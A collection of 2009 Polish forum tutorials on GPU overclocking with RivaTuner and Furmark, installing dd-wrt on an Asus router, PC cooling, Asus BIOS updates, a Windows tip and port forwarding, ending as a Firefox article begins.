Po pierwsze i najważniejsze – podkręcanie to zabieg mający na celu zmianę wartości taktowania na wyższe niż ustawił je producent karty. Takie postępowanie może powodować błędne wyświetlanie obrazu, nieprawidłowe działanie systemu, a nawet istnieje prawdopodobieństwo uszkodzenia karty graficznej i/lub innych podzespołów komputera. Więc przypominam, że podkręcając robisz to na własne ryzyko!!
Po drugie – każda karta podkręca się inaczej. Nawet przy dwóch identycznych modelach możliwe jest uzyskanie różnych stabilnych wartości. Wynika to z wielu czynników, o których można by dużo napisać.
Po trzecie – trzeba zaopatrzyć kartę w „dobrej jakości” napięcie, co oznacza posiadanie dobrego zasilacza, który zapewni stabilność napięcia +12V. Przeważnie producent podaje przy danym modelu jaki minimalny amperaż dla tego napięcia jest odpowiedni dla danej karty (np. 25A). Jeśli jednak nie ma takiej informacji to bez większego problemu możemy takową znaleźć w internecie.
Po czwarte – wszystko róbmy z głową, nie spieszmy się, włączmy przyjemną muzykę i do dzieła!
Po włączeniu programu w zakładce Main klikamy na przycisku Customize:

a następnie w rozwiniętej liście wybieramy pierwszą opcję System settings:

Pojawia nam się następujące okno:

Do podkręcania będzie nas interesować tylko zakładka Overclocking. Zaznaczamy opcję Enable driver-level hardware overclocking. Pojawi się następujące okno:

Klikamy na przycisk Detect now. W tym momencie program odczyta sobie aktualne wartości zegarów karty. Teraz zaczynamy podkręcanie. Nasze okno wygląda tak:

Podkręcać będziemy dla opcji performance 3D, czyli większe wartości zegarów będą ustawiane tylko w wymagających aplikacjach 3D (np. gry).
Zaznaczamy opcję Apply overclocking at Windows startup – zapisana wartość taktowania będzie ustawiana przy uruchomieniu systemu.

Najpierw zajmiemy się rdzeniem karty graficznej. Dziwić niektórych mogą dwa paski dla rdzenia karty. Jeden odpowiada za taktowanie całego rdzenia, drugi natomiast wyłącznie za taktowanie samych procesorów strumieniowych. W przypadku kart nvidii są one taktowane innym zegarem niż cały rdzeń i można zmieniać ich taktowanie niezależnie od taktowania rdzenia. Dla początkujących jednak pokażę na przykładzie, kiedy podkręcamy jednocześnie i rdzeń i procesory. Dlatego zaznaczamy (jeśli nie jest zaznaczone) opcję „link clocks” znajdującą się pomiędzy tymi paskami.
W przypadku kart graficznych ATI, rdzeń i procesory strumieniowe są taktowane takim samym zegarem.
Podkręcanie to cykliczna czynność, na którą składają się poszczególne etapy:
1 – zwiększenie taktowania o 5-10MHz (początkującym zalecam podnoszenie o właśnie takie małe wartości),

2 – klikamy na Apply (Zastosuj),
3 – zachowujemy przetestowane wartości Save, przy Startup settings powinny pojawić się wartości,

4 – uruchamiamy Furmark:

i włączamy Test Stabilności. Podczas tego testu karta jest maksymalnie obciążona i wszelka niestabilność spowodowana zbyt wysokimi zegarami może się objawić na następujące sposoby:
- uzyskane minimalne, średnie i maksymalne wartości nie rosną, a nawet maleją,
- występuje zatrzymanie lub wyjście z programu,
- nastąpił reset komputera,
Najczęściej występuje któryś z dwóch pierwszych, trzeci oznacza znaczne przekroczenie stabilnych wartości. Obniżamy teraz taktowanie do poprzedniej wartości i w ten sposób osiągamy najwyższe stabilne taktowanie rdzenia.
Podczas tego testu na dole pokazywany jest wykres aktualnej temperatury karty, dzięki czemu możemy śledzić aktualną temperaturę karty.

Przyciskiem F9 możemy w każdej chwili dokonać zrzutu ekranu z testu. Ja standardowo radziłbym taki test przeprowadzić minimum 15minut (900 sekund).
Teraz przechodzimy do podkręcania pamięci karty graficznej. Tutaj trzeba zwrócić uwagę na rodzaj taktowania. Program pokazuje taktowanie rzeczywiste pamięci (1000MHz), a nie efektywne (2000MHz) jak w większości programów. Procedura jest identyczna jak w przypadku podkręcania rdzenia, a więc:
1 – zwiększenie taktowania o 5-10MHz,

2 – klikamy na Apply (Zastosuj),
3 – zachowujemy przetestowane wartości,
4 – uruchamiamy Furmark i wykonujemy Test Stabilności.
Czynności wykonuje do pojawienia się tzw. „artefaktów” czyli błędów w wyświetlanej grafice. Po ich pojawieniu zmniejszamy taktowanie do poprzedniej wartości i mamy w ten sposób stabilne taktowanie pamięci.
Kilka słów, dlaczego akurat program Furmark, a nie któryś z bardziej popularnych programów choćby 3DMark. Otóż, często w sterownikach znajdują się różnego rodzaju optymalizacje dzięki którym karty mogą w tych benchmarkach osiągać nieznacznie wyższe taktowania niż w pełni stabilne w normalnych grach. Drugim powodem jest to, że program jest całkowicie darmowy, więc nikt na nim nie zarabia i raczej nikt nie optymalizuje sterowników) akurat pod niego, by karty chodziły lepiej. Trzecim powodem jest to, że uwzględnia wydajność głównie karty graficznej i jej stabilność, przy niezbyt wielkim wykorzystaniu procesora i reszty komputera. Dzięki temu sprawdzamy tylko naszą kartę, niezależnie od reszty komputera. Nowe 3Dmarki testują poszczególne elementy komputera, a na wynik w nich uzyskany ma wpływ nie tylko karta.
Po zakończeniu podkręcania wychodzimy z okna klikając na przycisk OK.

Wygrzewanie

Po ustaleniu najwyższych stabilnych wartości należy kartę wygrzać. Polega to na kilkugodzinnym zapuszczeniu Testu Stabilności. Można powiedzieć, że zabieg ten przystosowuje kartę do ciągłego działania z podwyższonymi zegarami, a ponadto daje nam pogląd jak karta będzie się sprawować na tych zegarach. Jeśli nie pojawią się żadne problemy to znaczy, że podkręcanie przebiegło pomyślnie.

Monitoring zegarów i temperatury

Riva Tuner może w czasie rzeczywistym podawać nam wartości takich parametrów jak częstotliwość taktowania rdzenia, pamięci i temperaturę rdzenia. W głównym oknie programu, w zakładce Main, w okienku Target adapter klikamy na przycisku przy opcji Customize. Wybieramy ikonkę o nazwie Hardware monitoring:

Pojawia nam się następujące okno:

Ponieważ jesteśmy obecnie przy „pracy w Windows” zegary rdzenia i pamięci ustawione są na obniżoną wartość. Wynika to z opcji oszczędzania energii zaimplementowanej w karcie graficznej, która podczas pracy na pulpicie, kiedy nie ma włączonej żadnej aplikacji 3D, obniża zegary do znacznie niższych wartości.
Okna tego nie zamykamy, co pozwoli nam uzyskać wykresy przy testowaniu karty.
Po włączeniu aplikacji 3D, np. gry, pozwoli nam zarejestrować zmiany ustawień oraz wzrost temperatury. Po zakończeniu testu w 3D przechodzimy z powrotem do tego okna:

Wskaźnikiem myszy możemy najechać na dowolny fragment wykresu. Pierwsze, co rzuca się w oczy to skok częstotliwości taktowań rdzenia i pamieci na wartość przez nas ustawioną przy performance3D. Zawdzięczamy to wspomnianej wcześniej opcji. Poniżej widzimy temperaturę karty (rdzenia) podczas zwiększonego obciążenia. W taki właśnie sposób możemy monitorować parametry naszej karty przy aplikacjach 3D.

To tyle, co chciałem powiedzieć o tym programie. Mam nadzieje, że pomoże to początkującym, lub osobom nie obeznanym z tym programem, w podkręcaniu swojej karty graficznej. Na koniec tylko przypomnę, aby wszystko robić z głową.
Nie pozostaje mi nic tylko życzyć wam wielu dodatkowych megaherzów.

-GT-

Instalacja i podstawowa konfiguracja alternatywnego firmware dd-wrt

Tue, 22 Dec 2009 19:03:06 +0000

Instalacja i podstawowa konfiguracja alternatywnego firmware dd-wrt
"na przykładzie routera WAN (RJ45) firmy Asus WL-520GU"

Firmware dd-wrt to alternatywne oprogramowanie zarządzające pracą routera, jest to stabilne oraz wydajne, posiada funkcje zarezerwowane dla urządzeń sieciowych z najwyższej półki cenowej w dodatku dostępne całkowicie za darmo.

Firma ASUS na oficjalnej stronie urządzenia informuje że jest ono kompatybilne z dd-wrt oraz innymi alternatywnymi firmware-ami np. Tomato.

W tym poradniku opiszę prosty proces instalacji firmware dd-wrt na routerze/access point
Asus WL-520GU

Podstawowe informacje o routerze:

- typ procesora i jego prędkość: Broadcom5354 @ 240Mhz
- ilość pamięci RAM 16MB
- ilość pamięci ROM 4MB
- standard WIFI: 802.11 b/g
- ilość portów: 4 porty LAN, 1 port WAN
- porty dodatkowe: 1 port USB

Lista potrzebnych narzędzi i oprogramowania do instalacji firmware:

- spinacz który użyjemy do uruchomienia trybu odzyskiwania firmware w routerze
- najnowszy firmware dostępny na stronie www.dd-wrt.com
- program Asus firmware recovery tool który użyjemy aby wgrać firmware na router, dostępny pod adresem http://www.asus.com/...ontent=download
w sekcji "Utilities". Polecam użyć najnowszej wersji tego programu, jest oznaczona numerem 4.0.2.5, instalator zawiera w sobie wszystkie poprawki z poprzednich wersji.

Zaczynamy od znalezienia odpowiedniego firmware do naszego routera, są trzy cztery podstawowe wersje dd-wrt, micro, mini, standard oraz mega.

Każda z tych wersji posiada wspólne podstawowe funkcje, wersja mega jest tylko dla routerów które posiadają 8mb pamięci ROM, czyli w tym przypadku odpada jego zastosowanie, wersje micro nie polecam, natomiast spokojnie możemy wgrać wersje mini lub standard.
Aby zacząć udajemy się na stronę http://www.dd-wrt.co...router-database, wklepujemy w pasku wyszukiwarki frazę "wl520gu".
Ukazuje nam się okienko pokazujące dostępność firmware dla danego modelu, jest też na liście model wl520gc który posiada 2mb pamięci ROM czyli o połowę mniej niż opisywany model wl520gu, nas on nie interesuje, klikamy więc na modelu wl520gu

Ukazuje nam się takie oto okno :

Lista ta pokazuje jakie są dostępne wersje czyli "build" dla danego routera, widzimy że aktualna wersja (na dzień pisania tego poradnika) v24 preSP2 [Beta] Build 13064 jest rekomendowana, wersje beta nie są pozbawione wad ale nie stwarzają także żadnych większych problemów

Jako iż router nasz posiada port USB potrzebny nam będzie build wspierający obsługę tego portu i zawierający sterowniki USB.
Klikamy i pobieramy na link dd-wrt.v24_usb_generic.bin.

Następnym krokiem będzie konfiguracja ustawień sieciowych karty Ethernet która powinna być już podłączona:

Powyższe ustawienia są przedstawione na przykładzie systemu Windows Vista, konieczne jest ustawienie tych parametrów tymczasowo na stałe ponieważ przy procesie wgrania nowego firmware w routerze chwilowo nie działa moduł DHCP który automatycznie przydziela adresy IP komputerom.

UWAGA! nie używać połączenia bezprzewodowego do wgrywania dd-wrt na urządzenie, ten proces bezpiecznie można wykonać jedynie poprzez połączenie kablowe.

Po skonfigurowaniu połączenia kablowego w/g wskazówek powyżej uruchamiamy wcześniej zainstalowane oprogramowanie ASUS Firmware Restoration (jeżeli używamy systemu Windows Vista lub Windows 7 zalecane/wymagane jest uruchomienie poprzez kliknięcie prawym klawiszem myszy na skrócie/programie i wybranie opcji "uruchom jako administrator".

Po chwili zobaczymy prosty interfejs programu

Klikamy na opcję "Przeglądaj",wyszukujemy plik z firmware które ściągnęliśmy i je zaznaczamy aby dodać do menu programu.

UWAGA! Aby proces wgrywania firmware się udał router musi być uruchomiony w trybie odzyskiwania systemu. Aby uruchomić ten tryb musimy posłużyć się np. spinaczem, lub jakimś wąskim przedmiotem który trzeba wcisnąć do otworu na tylnym panelu routera
Najpierw odłączamy wtyczkę zasilania od routera, wciskamy spinacz do otworu zaznaczonego strzałką na poniższym obrazku

Trzymamy wciśnięty ten przycisk jednocześnie podłączamy wtyczkę zasilania, przycisk trzymamy wciśnięty do momentu aż na przednim panelu zielona dioda z oznaczeniem "SYSTEM" zacznie jednostajnie pulsować w równych odstępach czasu. W tym momencie router znajduje się trybie odzyskiwania systemu i możemy użyć ASUS Firmware Restoration Utility.

W ASUS Firmware Restoration Utility zaznaczamy uprzednio pobraną wersję dd-wrt v24preSP2_usb_standard.bin, zaznaczamy opcję prześlij a następnie potwierdzamy operację a następnie czekamy na zakończenie wgrywania się oprogramowania na router.

Po zakończeniu instalacji dd-wrt dioda "SYSTEM" zacznie migać z stałego tempa na zmienne, po czym nastąpi restart urządzenia, jeżeli wszystko poszło po naszej myśli router powinien właśnie uruchamiać, jeżeli urządzenie dalej mruga diodą SYSTEM jednostajnie odczekujemy około 2 do 5 minut aż oprogramowanie się zaadaptuje po czym możemy wyłączyć zasilanie routera i ponownie je włączyć.

W międzyczasie ustawiamy na domyślne "Automatyczne" ustawienia karty sieciowej, po poprawnym uruchomieniu się routera z wgranym dd-wrt karta powinna otrzymać od routera nowy adres IP który na początku może być z przedziału 192.168.1.xxx (nic nie stoi na przeszkodzie aby potem zmienić te ustawienia)

Aby zalogować się przez przeglądarkę do naszego urządzenia potrzebujemy przeglądarki która w pełni pozwoli nam używać wszystkich opcji dd-wrt autor poleca przeglądarki Mozilla Firefox lub Opera (najlepiej w najnowszych wersjach) oraz poprawnie wgrana wtyczka Adobe Flash Player a także Java. Przeglądarki Internet Explorer nie posiadają standardowo wgranej obsługi Adobe SVG Player który jest obecny w wyżej wspomnianych przeglądarkach, dzięki obecności tego plugina mamy od razu widoczne wykresy prędkości pobierania danych itp. oparte na tej technolgii.

Używając jednej z zalecanych przeglądarek wpisujemy w pasek adresu poniższy ciąg:

http://192.168.1.1

i wciskamy klawisz enter

naszym oczom powinno się ukazać pierwsze okno logowania i jednocześnie zmiany hasło i użytkownika, jako że dd-wrt bazuje na kernelu linuxa domyślne konto możemy nazwać root hasło wymyślamy sobie dowolnie, dobrze by było aby hasło składało się z wielkich jak i małych liter oraz paru cyfr.

Wpisujemy w poniższe okno informacje :

Router Username: root, lub np. admin lub cokolwiek innego np. jasio, marek itp.
Router Password: wymyślone hasło
Re-Enter to confirm: ponowne wprowadzenie hasła dla weryfikacji

UWAGA! nie wprowadzenie tych danych pozostawi twój router odporny na ataki z zewnątrz oraz otwarty dla intruzów !

PIERWSZE KROKI :

Po udanym wpisaniu hasła konfigurujemy poprawnie nasze połączenie internetowe oraz sieć WIFI i ją zabezpieczamy, to zaledwie podstawowe funkcje które w tym poradniku zostaną omówione.

Autor używa menu w języku angielskim na swoim urządzeniu (dokumentacja dostępna w internecie jest napisana przeważnie w języku angielskim na stronie www.dd-wrt.com, aczkolwiek istnieje również pod forum dla polskich użytkowników)

Aby zmienić język interfejsu na Polski udajemy się do zakładki "Administration"
po czym klikamy na zakładkę " Management" następnie przewijamy na dół strony i wybieramy opcję "Language" a następnie Polish, po czym akceptujemy ustawienia poprzez klawisze "Apply Settings" a następnie "Save".

KONFIGURACJA WAN (dostęp do internetu)

Klikamy na przycisk "Setup", następnie na przycisk "Basic Setup" po czym widzimy panel ustawienia opcji połączenia.

Większość sieci kablowych adresy IP przydziela dynamicznie lub na stałe, w zależności jakie posiadamy trzeba ustawić odpowiednią opcje, jeżeli mamy dynamicznie przydzielany adres IP zostawiamy "Automatic Configuration - DHCP", jeżeli stałe IP ustawiamy "Static IP" i wpisujemy dane:

adres IP, adres bramy, maskę sieci itp.

Po czym klikamy na "Accept Settings" oraz "Save", w tym momencie router powinien wykonać ponowny rozruch (reboot) z racji wprowadzenia nowych ustawień.

UWAGA! sieci kablowe posiadają czasem blokowanie dostępu do internetu adresów MAC które nie maja zapisane w swojej bazie danych, jeżeli posiadacie dostęp do internetu z takiej sieci trzeba wpisać adres MAC karty której używaliście do tej pory do dostępu do sieci.
Wykonać to można klikając na "Setup" następnie w "Mac Clone Adress" następnie wybrać opcję "MAC Clone" i ustawić opcję na "Enable" następnie wpisujemy w polu "Clone WAN MAC " nasz adres karty sieciowej lub też prościej wybrać opcję i kliknąć przycisk "Get Current PC MAC Adress" spowoduje to wpisanie automatycznie adresu karty sieciowej z której się podłączyliśmy z routerem. Po tych zabiegach jak zwykle klikamy w opcje "Apply Settings" następnie "Save", router powinien uruchomić się ponownie z nowymi ustawieniami.

Sprawdzenie poprawności ustawień i czy router otrzymuje poprawny adres IP od modemu kablowego sprawdzamy w menu "Status" w sekcji "WAN"

faq/dd-wrt1/WAN_STATUS.jpg

USTAWIENIE I ZABEZPIECZANIE SIECI RADIOWEJ WIFI :

Asus WL520GU posiada wszystkie dostępne obecnie na rynku metody szyfrowania dostępu do sieci bezprzewodowej, po wgraniu dd-wrt zyskuje znacznie więcej, można tworzyć do 16 sieci wirtualnych WIFI każda z innym szyfrowaniem/nazwa/kluczem, dostępne mamy także tryby w których działa router czyli, Gateway, AP, WDS, Ad-hoc, Repeater i inne.
Nas interesuje tylko i wyłącznie najpopularniejszy tryb czyli AP = Accesss Point, punkt dostępu do sieci lokalnej radiowej.
Ustawiamy nazwę, kanał sieci, tryb urządzenia "AP", tryb prędkości sieci b/g oraz resztę podstawowej konfiguracji w menu "Wireless" zakładka "Basic Settings"

WŁĄCZENIE SZYFROWANIA SIECI BEZPRZEWODOWEJ WIFI:

Włączenie szyfrowania dostępu do naszej sieci WIFI nie sprawi także problemu, przechodzimy na zakładkę "Wireless" a następnie "Wireless Security" po czym wybieramy typ szyfrowania, WAP, WPA, WPA2, itp. następnie ustawiamy siłę szyfrowania, autor poleca AES ze względu na silniejsze szyfrowanie oraz jak do tej pory nikomu nie udało się złamać klucza AES w przeciwieństwie do TKIP.

Powodzenia.

Alfabetyczny spis FAQ i poradników

Wed, 25 Nov 2009 08:54:09 +0000

FAQ-i

Windows

---------------------------------
Poradniki

Chłodzenie komputera PC

Sun, 22 Nov 2009 01:45:17 +0000

O chodzeniu komputera (część 1)

Wyjaśnienia i porady dotyczące chłodzenia komputera PC
Co? jak? i dlaczego?

Chłodzenie niektórym może się kojarzyć z lodówką lub z piwem . Jednak nie jest wcale jak może się wydawać proste zagadnienie. Mówiąc o odprowadzaniu ciepła z komponentów elektronicznych w tym z komputerowych możemy nie zdawać sobie sprawy z wagi i stopnia zawiłości zagadnienia, mającego ogromny wpływ ona rozwój technologii. Często, jednakże, bagatelizowanego przez rzeszę użytkowników sprzętu komputerowego

Dlaczego elektronika się grzeje?
Faktem jest iż prąd płynący poprzez przewodnik/półprzewodnik elektryczny napotyka na opór co powoduje zwiększenie nagromadzonej energii, która zostaje wydalona z materiału po przez emitowanie ciepła. Wyobraźmy teraz sobie miliony mikroskopijnych przewodów i układów elektrycznych zamkniętych w jednym chipie... Tak upakowane tranzystory wydzielają ogromne ilości ciepła, tym więcej im szybciej działają. Układy mają wyznaczoną maksymalną temperaturę pracy i ważne jest aby jej nie przekraczać. Pomimo dużej wytrzymałości krzemu na temperaturę tranzystory wykonane z niego tak owej już nie posiadają. Przegrzanie elektroniki może powodować nieprawidłową pracę lub trwałe uszkodzenie.

Dlaczego chłodzenie jest takie ważne?
Jak już wiemy nadmierna temperatura może zniszczyć nam sprzęt więc należy zadbać o to aby była co najmniej do zaakceptowania. Za przykład weźmy procesor. Często producenci procesorów oraz innych podzespołów dołącza do swojego sprzętu niewystarczające chłodzenie oznaczone jako BOX. W efekcie możemy odnotować wysokie temperatury. Ciepło jakie jest normą oscyluje w granicach 30-80*C (50-100*C w przypadku grafiki). Zależy to od zastosowanego chłodzenia oraz obciążenia.
Mówi się, że obniżenie temperatury o 10°C daje możliwość procesorowi przedłużenia żywotności o ok 2 lata.

Co chłodzimy w komputerach?
Pewnie każdy słyszał o chłodzeniu procesora, ale nie każdy wie o co jeszcze należy zadbać składając wydajny komputer. Schłodzić można (/zalecane) wszystko. Często do codziennego użytku wystarczy to co dostaliśmy w standardzie kupując sprzęt. Przecież nie każdy chce wycisnąć tyle, ile się nie da... Jednak gdy chcemy wykorzystać możliwości sprzętu BOX może nie wystarczać.

najczęściej chcemy schłodzić w komputerze (majeląco):
1.Procesor
2.Kartę graficzną
3.Pamięć RAM
4.Chipset
5.MOSFET
6.Twardy dysk

Twój PCet lubi chłodno...
Obecnie na rynku jest wiele firm produkujących zestawy chłodzenia CPU. Są to najróżniejsze coolery, systemy wodne, a nawet chłodzenie suchym lodem czy ciekłymi gazami (np Azot) pozwalającymi na osiągnięcie ujemnych temperatur. Faktem jest że możemy wykonać całkiem dobry schładzacz we własnym zakresie ale nie o tym mowa.
Dobór chłodzenia CPU, tak jak dla innych komponentów, jest ważny ze względu na wydłużenie żywotności sprzętu oraz zwiększenia stabilności i możliwości OC jak również komfortu pracy z komputerem.

Zanim kupimy chłodzenie należy zadać sobie pytania:

Do czego używamy komputera?
czy komputer będzie podkręcany?
co chcemy schłodzić? (grafika, procesor itp)
jaki masz sprzęt?
ile możemy przeznaczyć na to pieniędzy?
czy ma być ciche?
Zadecydować o rodzaju chłodzenia (powietrzne, wodne)

W codziennej pracy (internet, programy biurowe, muzyka) wykorzystujemy ułamek dostępnej mocy komputera nie powodując dużego obciążenia, więc wydzielanie ciepła przez CPU (i inne) jest stosunkowe małe. W takim przypadku standardowe chłodzenie okazuje się wystarczające.
Jednak, kiedy wyciskamy ze sprzętu siódme poty grając w gry czy obrabiając grafikę czy filmy temperatura potrafi podskoczyć bardzo szybko do granicznych. Komputer może nam się wyłączyć samoczynnie. Awaria? Niekoniecznie! Jest to sygnał mogący świadczyć o ułomności naszego systemu chłodzenia, który nie radzi sobie z odprowadzaniem ciepła. Należy wtedy pomyśleć o wydajniejszym chłodzeniu.

Obecnie większość sprzętu komputerowego pozwala na przyspieszanie pracy czyli tzw overclocking . Zwiększenie taktowania wpływa pozytywnie na szybkość działania ale jednocześnie zwiększa wydzielane przez część ciepło. Zazwyczaj BOXowe chłodzenie nie wystarcza, nawet przy standardowych ustawieniach, więc wymienia się je na bardziej wydajne. Jest to szczególnie polecane podczas gdy chcemy podkręcić komputer.
Dobór schładzacza jest uzależniony od przeznaczenia i posiadanego sprzętu.

Na co należy zwrócić uwagę przy wyborze coolera?
Socket czyli gniazdo posiadanego procesora (model karty graficznej)

AMD: Socket A, 754, 939, 940/AM2/AM2+, AM3 (mocowania kompatybilne za sobą z wyjątkiem Soc.A)
Intel: 478, LGA775, 1155, 1156, 1366 (sposoby mocowń nie zawsze zgodne)

Dlatego, że nie każdy schładzacz posiada zestawy mocujące dla danego gniazda procesora. Isnieją także produkty z zestawami mocowań do wszystkich obecnie na rynku gniazd co niestety odbija się w cenie.
Wybierając coller CPU należy wziąć pod uwagę model procesora, dokładniej współczynnik wydzielanego ciepła czyli TDP i ilość jąder (cors) w procesorze. Im więcej jąder procesora tym więcej ciepła on generuje i szybciej się nagrzeje podczas obciążenia.
W przypadky karty graficznej jest nieco inaczej. Przy wyborze chodzenia zwracamy uwagę na producenta chipu (a nie gniazda) a dopiero potem na model (który jest nie mniej ważny).

O czym mysimy wiedzieć przy wyborze?

Cooler musi być wydajniejszy od chłodzenia jakie dostaliśmy w standardzie: Istnieją konstrukcje, które są gorsze od BOX! Przeglądając produkty warto poszukać testy w internecie wpisując: [Nazwa chłodzenia] test/y
Wielkość chłodzenia: Musi się zmieścić w obudowie naszego komputera, nie zachaczać o inne podzespoły. (Rozmiar jednak ma znaczenie )
Zgodność z posiadanym sprzętem
cena (oczywiście)
wygląd (jeśli komuś na tym zależy)

Dlaczego to jest takie ważne? Chyba nie chciał byś kupić czegoś co będzie drogie i nie będzie dawało zadowalających efektów?

Najczęściej zmienia się schładzacze procesora, rzadziej zaś chłodzenie na karcie graficznej, chipsecie, pamięci RAM a niemal zapomnianym elementem MOSFET płyty głównej (radiatory częściej spotykane w drogich modelach) czy dysk twardy.
Jeszcze jednym sposobem na chłodniejszy komputer jest posiadanie dobrze wentylowanej obudowy. Zawsze trzeba pamiętać o wentylacji obudowy. Wiatraczki z tyłu na wywiew i z przodu na nawiew bywają bardzo pomocne przy obniżaniu temperatury wszystkich komponentów.

Mam nadzieję że ten mały poradnik pomoże Wam przynajmniej w małym stopniu zrozumieć zagadnienia związane z komputerami. Jeśli macie jeszcze jakieś wątpliwości lub chcecie o coś zapytać zapraszam na Forum.

© Freon

Kopiowanie oraz wklejanie na inne fora zabronione bez zgody autora.

aktualizowano: 22,11,2009

Aktualizacja BIOS na płytach Asus w Windows

Thu, 19 Nov 2009 18:21:51 +0000

Aktualizacja BIOS na płytach Asus w Windows
na przykładzie M3N78PRO

Przed aktualizacją BIOSu należy wyłączyć wszystkie zbędne programy obciążające komputer, antywirusy i inne zbędne aby nic nie przeszkodziło w poprawnym zakończeniu operacji. Należy postępować wg instrukcji podanej w tym temacie.

Odpalamy płytkę z Oprogramowaniem producenta i wybieramy zakładkę "utilities" gdzie wybieramy opcję "ASUS update" czyli program do aktualizacji BIOSu
W przypadku ściągnięcia programu z internetu przejdź do punktu następnego

Po kliknięciu na tę opcję (lub otwarciu paczki z programem) powinno nam się ukazać okno instalatora programu

po wybraniu folderu instalacji klikamy dalej i instalujemy program

jeśli instalacja przebiegła bez przeszkód możemy przystąpić do aktualizacji.
wybieramy MENU Start -> Wszystkie Programy -> ASUS -> AsusUpdate

Po pojawieniu się okna programu wybieramy jedną z opcji. Tutaj wybrałem ściągnięcie BIOS z internetu oraz wgranie (flaszowanie)

po Wciśnięcu NEXT program podaje nam opcję wyboru serwera ftp z którego będzie ściągnięty nowy bios

Następnie program łączy się z internetem w celu wyszukania plików na serwerze. Dalej w oknie programu wybieramy wersję bios dostępną dla naszej płyty głównej. W tym przypadku wybrałem najnowszy (1301). Można również wybrać starszą wersję (niezalecane, chyba że aktualny szwankuje).

program ponownie łączy się z internetem w celu ściągnięcia pliku BIOSu.

Gdy bios mamy na dysku ukazuje się ekran flaszowania BIOS

Aby rozpocząć zmianę Biosu należy wcisnąć baton "Flash" i czekać

Nie mogłem podać zrzutu ekranowego z operacji flaszowania ze względów bezpieczeństwa

po skończonej operacji zobaczymy monit systemowy o restarcie komputera

UWAGA!
Podczas zamiany BIOSu system może przestać reagować lub nastąpi jego znaczne zpowolnienie. Nie wolno restartować komputera podczas wgrywania programu do pamięci EPROM może to spowodować zniszczeniem sprzętu, którego nie obejmuje gwarancja. Restart może trwać nieco dłużej (nawet do 30s) niż w innym przypadku z powodu sprawdzania i wykrywania sprzętu przez BIOS.

W przypadku poprawnego wykonania zamiany BIOS płyty głównej komputer zrestartuje się samoczynnie po czym powinien załadować się system operacyjny. Restart może trwać nieco dłużej (nawet do 30s) niż w innym przypadku z powodu sprawdzania i wykrywania sprzętu przez BIOS. Wgrany bios będzie się uruchamiał na standardowych ustawieniach. Wsystkie parametry takie jak OC, napięcia czy ustawienia obrotów wentylatorów.

Mam nadzieję że ten mały poradnik pomoże Wam przynajmniej w małym stopniu zrozumieć zagadnienia związane z komputerami. Jeśli macie jeszcze jakieś wątpliwości lub chcecie o coś zapytać zapraszam na Forum.

Flaszował dla Was Freon

Wszystkie czynnosici opisane w artykule użytkownik wykonuje na własną rękę.
Autor ani Administratorzy forum nie biorą odpowiedzialności za ewentualne uszkodzenia sprzętu spowodowane błędem użytkownika lub innymi czynnikami.

Zarówno takst jak i grafiki są własnością autora tekstu. Kopiowanie oraz wklejanie na inne fora zabronione bez zgody autora

[FAQ] Windows

Wed, 18 Nov 2009 13:01:57 +0000

Windows 7

Pytanie/problem: Po czasie dłuższego nieużytkowania dysku, gdy chcę wejść na/odczytać z niego muszę odczekać kilka długich sekund.
Odpowieź: Spowodowane jest to włączoną funkcją oszczędzania energii.
Rozwiązanie: Otwieramy Panel Sterowania > Opcje zasilania > Wybieramy Zmień ustawienia planu:

Klikamy na Zmień zaawansowane ustawienia planu. W drzewie ustawień znajdujemy Dysk twardy, rozwijamy gałąź, to samo robimy z "Wyłącz dysk twardy po", w ustawieniu zmieniamy na Nigdy

by unbreak

Przekierowanie portów

Wed, 18 Nov 2009 09:59:42 +0000

Krótki Tutorial jak przekierować porty.

1. Otwieramy przeglądarkę internetową (FireFox, Opera, IE, Chrome, Netscape etc.)

2. W pasku adresu wpisujemy adres 192.168.0.1 (Jest to domyślny adres, u Ciebie może się nieco różnić, np 192.168.1.1, 192.168.10.1 itp)

3. Najprawdopodobniej przywita nas okienko logowania:

Wpisujemy tam login i hasło (może to być: admin/admin; root/root; admin/1234; root/1234; bądź samo admin, bądź root - dokładna informacja powinna być podana w instrukcji routera)

4. Po zalogowaniu się szukamy w ustawieniach działu Port Forwarding, bądź coś podobnego (w różnych routerach różnie się to nazywa).
U mnie jest to w zakładce "Aplikacje i gry":

4.1. Przekierowanie pojedynczego portu:

gdzie:
Aplikacja - nazwa aplikacja której to dot (nazwa nie zobowiązująca, służy jedynie dla naszej identyfikacji po co port przekierowaliśmy)
Port zewnętrzny - port na który ma być przekierowany port z zewnątrz
Port zewnętrzny - który port przekierowujemy
Protokól - Wybieramy protokół dla którego chcemy przekierować port, zazwyczaj mamy do wyboru TCP, UDP, bądź Both/Oba (dla obu protokołów).
Adres IP - Adres na który ma zostać port przekierowany.
Włącz - zaznaczamy jeżeli dane przekierowanie ma być aktywne

4.2 Przekierowanie kilku portów:

gdzie:
Aplikacja - nazwa aplikacja której to dot (nazwa nie zobowiązująca, służy jedynie dla naszej identyfikacji po co port przekierowaliśmy)
Początek/Koniec - oznaczamy dolną oraz górną granicę przekierowanych portów (zostaną one przekierowane na te same porty)
Protokól - Wybieramy protokół dla którego chcemy przekierować port, zazwyczaj mamy do wyboru TCP, UDP, bądź Both/Oba (dla obu protokołów).
Adres IP - Adres na który ma zostać port przekierowany.
Włącz - zaznaczamy jeżeli dane przekierowanie ma być aktywne

4.3 DMZ - Strefa zdemilitaryzowana, zostają wszystkie porty otwarte i przekierowane na podany adres:

Jest to stanowczo odradzane rozwiązanie! Jest ono jawnym zaproszeniem dla niechcianych gości, stosuje się je jedynie w skrajnych przypadkach!

Aby sprawdzić jaki mamy adres:

Windows:
Uruchamiamy linię komend, po przez wpisanie w START > Uruchom:

cmd

a następnie w otwartej linii komend:

ipconfig

Adres IP to nasz adres.

Linuks:
Odpalamy terminal/konsolę, w niej wpisujemy

ifconfig

i z czytujemy z wyników swój adres IP oznaczony jako inet addr:

5. Po wpisaniu wszystkiego, dajemy Apply/Submit/Done aby zapisać ustawienia. Może nastąpić krótkie rozłączenie internetu, po ponownym połączeniu port będzie przekierowany.

--------
Linki:
Coś niecoś o portach. Także spis podstawowych portów.

Poradnik jest własnością autora Michała unbreak zgodnie z ustawą z dnia 4 lutego 1994 roku o prawie autorskim i prawach pokrewnych. Publikowanie ich na innych forach i serwisach internetowych bez wiedzy i zgody autorów jest surowo zabronione.

Jak szybko i prosto przyspieszyć Firefoxa ?

Wed, 18 Nov 2009 09:30:40 +0000

Jak szybko i prosto przyspieszyć Firefoxa ?

Ostatnio dostrzegłem niepokojące zjawisko. Bardzo wielu użytkowników używa Firefoxa z podstawowymi ustawieniami. Które nie są najlepsze ;)

